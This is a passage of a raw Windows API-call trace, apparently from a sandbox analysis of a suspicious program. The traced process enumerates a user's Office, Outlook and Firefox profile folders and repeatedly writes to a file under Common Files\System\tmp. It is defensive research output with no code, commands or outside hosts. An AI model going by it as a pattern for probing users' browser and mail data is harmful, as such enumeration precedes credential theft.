ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.990] AreFileApisANSI () returned 1 [0127.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.990] GetFileType (hFile=0x190) returned 0x1 [0127.990] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.991] AreFileApisANSI () returned 1 [0127.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.991] GetFileType (hFile=0x194) returned 0x1 [0127.991] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.991] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.991] GetLastError () returned 0x12 [0127.991] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.991] GetLastError () returned 0x12 [0127.992] AreFileApisANSI () returned 1 [0127.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.992] GetFileType (hFile=0x190) returned 0x1 [0127.992] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x837620, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.992] AreFileApisANSI () returned 1 [0127.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.992] GetFileType (hFile=0x194) returned 0x1 [0127.992] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.993] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.993] GetLastError () returned 0x12 [0127.993] AreFileApisANSI () returned 1 [0127.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.993] GetFileType (hFile=0x194) returned 0x1 [0127.993] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.993] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.993] GetLastError () returned 0x12 [0127.994] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.994] GetLastError () returned 0x12 [0127.994] AreFileApisANSI () returned 1 [0127.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.994] GetFileType (hFile=0x190) returned 0x1 [0127.994] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.036] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.036] GetLastError () returned 0x12 [0128.036] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.036] GetLastError () returned 0x12 [0128.036] AreFileApisANSI () returned 1 [0128.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.036] GetFileType (hFile=0x18c) returned 0x1 [0128.036] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.037] AreFileApisANSI () returned 1 [0128.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.037] GetFileType (hFile=0x190) returned 0x1 [0128.037] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.038] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.038] GetLastError () returned 0x12 [0128.038] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.038] GetLastError () returned 0x12 [0128.038] AreFileApisANSI () returned 1 [0128.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.038] GetFileType (hFile=0x18c) returned 0x1 [0128.038] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.038] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.038] GetLastError () returned 0x12 [0128.039] AreFileApisANSI () returned 1 [0128.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.039] GetFileType (hFile=0x18c) returned 0x1 [0128.039] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.039] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.040] GetLastError () returned 0x12 [0128.040] AreFileApisANSI () returned 1 [0128.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.040] GetFileType (hFile=0x18c) returned 0x1 [0128.040] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.040] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.040] GetLastError () returned 0x12 [0128.040] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.040] GetLastError () returned 0x12 [0128.040] AreFileApisANSI () returned 1 [0128.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.041] GetFileType (hFile=0x188) returned 0x1 [0128.041] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.041] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.041] GetLastError () returned 0x12 [0128.041] AreFileApisANSI () returned 1 [0128.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.041] GetFileType (hFile=0x188) returned 0x1 [0128.041] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.041] AreFileApisANSI () returned 1 [0128.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.042] GetFileType (hFile=0x18c) returned 0x1 [0128.042] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.042] AreFileApisANSI () returned 1 [0128.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.042] GetFileType (hFile=0x190) returned 0x1 [0128.042] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x837620, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.043] AreFileApisANSI () returned 1 [0128.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.043] GetFileType (hFile=0x194) returned 0x1 [0128.043] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x30, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.128] AreFileApisANSI () returned 1 [0128.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.129] GetFileType (hFile=0x198) returned 0x1 [0128.129] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xe000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xd7f6, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.129] AreFileApisANSI () returned 1 [0128.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.129] GetFileType (hFile=0x198) returned 0x1 [0128.129] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xe000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xd8fd, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.130] AreFileApisANSI () returned 1 [0128.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.130] GetFileType (hFile=0x198) returned 0x1 [0128.130] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", 